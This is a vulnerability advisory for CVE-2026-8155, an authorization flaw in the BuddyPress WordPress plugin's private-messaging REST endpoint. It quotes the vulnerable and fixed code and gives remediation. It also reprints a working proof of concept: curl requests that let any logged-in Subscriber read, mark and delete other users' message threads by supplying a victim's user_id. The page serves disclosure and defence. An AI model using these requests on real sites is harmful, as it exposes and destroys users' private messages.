Skip to content
FortressDiscuss your projectMenu

CVE-2026-8155

BuddyPress: Subscriber+ Private Messages Disclosure via IDOR

Product
BuddyPress (WordPress plugin)
Versions
Before 14.5.0 · fixed in 14.5.0
Severity
MediumCVSS score 5.4 · WPScan
CVE
CVE-2026-8155, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on July 31, 2026

Description

The BuddyPress WordPress plugin before 14.5.0 does not properly enforce authorization on its private messaging endpoints, allowing any authenticated user (Subscriber+) to read, modify, or delete other users' private messages.

From the CVE record · CWE-639 Authorization Bypass Through User-Controlled Key

Technical analysis

get_item_permissions_check() decides access to a message thread by calling messages_check_thread_access( $id, $user_id ), but $user_id is taken from the request's user_id parameter whenever one is supplied, falling back to the logged in user only when it is empty. Nothing checks that the requested user_id belongs to the caller, so a logged in member who is not a participant passes the check by naming a participant's ID. The PUT and DELETE routes on /messages/<id> reuse this check (update_item_permissions_check and delete_item_permissions_check call it), and update_item() and delete_item() likewise act on the request's user_id.

Vulnerable: bp-messages/classes/class-bp-rest-messages-endpoint.php, version 14.4.0
		$user_id = bp_loggedin_user_id();
		if ( ! empty( $request->get_param( 'user_id' ) ) ) {
			$user_id = $request->get_param( 'user_id' );
		}

		$id = $request->get_param( 'id' );

		if ( is_user_logged_in() ) {
			$thread = BP_Messages_Thread::is_valid( $id );

			if ( empty( $thread ) ) {
				$retval = new WP_Error(
					'bp_rest_invalid_id',
					__( 'Sorry, this thread does not exist.', 'buddypress' ),
					array(
						'status' => 404,
					)
				);
			} elseif ( bp_current_user_can( 'bp_moderate' ) || messages_check_thread_access( $id, $user_id ) ) {
				$retval = true;

14.5.0 adds validate_requested_user_id(), which replaces any requested user_id with the logged in user's ID unless the caller has bp_moderate. get_item_permissions_check(), update_item() and delete_item() now use it, so the participant check runs against the real caller.

Fixed: bp-messages/classes/class-bp-rest-messages-endpoint.php, version 14.5.0
	private function validate_requested_user_id( $request ) {

		// Get the user ID from the request.
		$retval = $request->get_param( 'user_id' );

		// Maybe fallback/override user ID to logged in ID.
		if ( empty( $retval ) || ! bp_current_user_can( 'bp_moderate' ) ) {
			$retval = bp_loggedin_user_id();
			$request->set_param( 'user_id', $retval );
		}

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on July 13, 2026.

## Prerequisites

- BuddyPress's **Messages** component is active (Dashboard > Settings > BuddyPress > Components).
- A private message thread exists between two users (`alice` user_id=7 and `bobsmith` user_id=9 in this PoC).
- An attacker account at any role — Subscriber is sufficient (`mallory` user_id=8) — with an Application Password issued for HTTP Basic Auth.

## Steps to Reproduce

Replace `TARGET`, `ATTACKER:APP_PASSWORD`, `THREAD_ID`, and `VICTIM_USER_ID` accordingly. Mallory has no relationship to the thread.

### 1. Verify the request is denied without the parameter (control)

```
curl -u "mallory:APP_PASSWORD" "http://TARGET/wp-json/buddypress/v1/messages/1"
```

Response (HTTP 403):
```
{"code":"bp_rest_authorization_required","message":"Sorry, you are not allowed to see this thread.","data":{"status":403}}
```

### 2. Read the victim's private thread (IDOR — disclosure)

```
curl -u "mallory:APP_PASSWORD" "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Response (HTTP 200) — full thread, including subject and message bodies:
```
[{"id":1,"subject":{"rendered":"Secret Merger Plans"},
  "message":{"rendered":"<p>Bob, the board approved the Acme Corp acquisition...</p>"},
  "recipients":[{"name":"bobsmith","user_id":9},{"name":"alice","user_id":7}],
  "messages":[{"id":1,"sender_id":7,"subject":{"rendered":"Secret Merger Plans"},
    "message":{"rendered":"<p>Bob, the board approved the Acme Corp acquisition...</p>"}}]
}]
```

The same works against any recipient (e.g. `?user_id=7` for alice).

### 3. Mark the victim's thread as read/unread (IDOR — integrity)

```
curl -u "mallory:APP_PASSWORD" -X PUT -H "Content-Type: application/json" \
  -d '{"read":true}' \
  "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Returns HTTP 200; the thread's read state is changed on the victim's behalf.

### 4. Delete the victim from the thread (IDOR — destructive)

```
curl -u "mallory:APP_PASSWORD" -X DELETE \
  "http://TARGET/wp-json/buddypress/v1/messages/1?user_id=9"
```

Response (HTTP 200): `{"deleted":true,...}`. The victim is removed from the thread; once the last recipient is removed this way the thread is fully deleted.

## Expected vs. Actual

- **Expected**: The endpoint should authorize based on the actual logged-in user. An attacker who is not a recipient of the thread should always receive HTTP 403.
- **Actual**: Supplying `?user_id=<recipient_id>` causes the authorization check to use the victim's identity, granting the attacker read/update/delete access to the thread.

Severity

WPScan rates it 5.4 (medium). CISA’s ADP scores it 5.4 (medium) in the CVE record.

  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NCISA ADP

Remediation

Update BuddyPress to 14.5.0 or later.

Disclosure timeline

  1. CVE ID reserved by WPScan.
  2. Fix committed to the plugin repository (r3599376).
  3. Version 14.5.0 released.
  4. WPScan advisory published.
  5. CVE published by WPScan.
  6. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.

References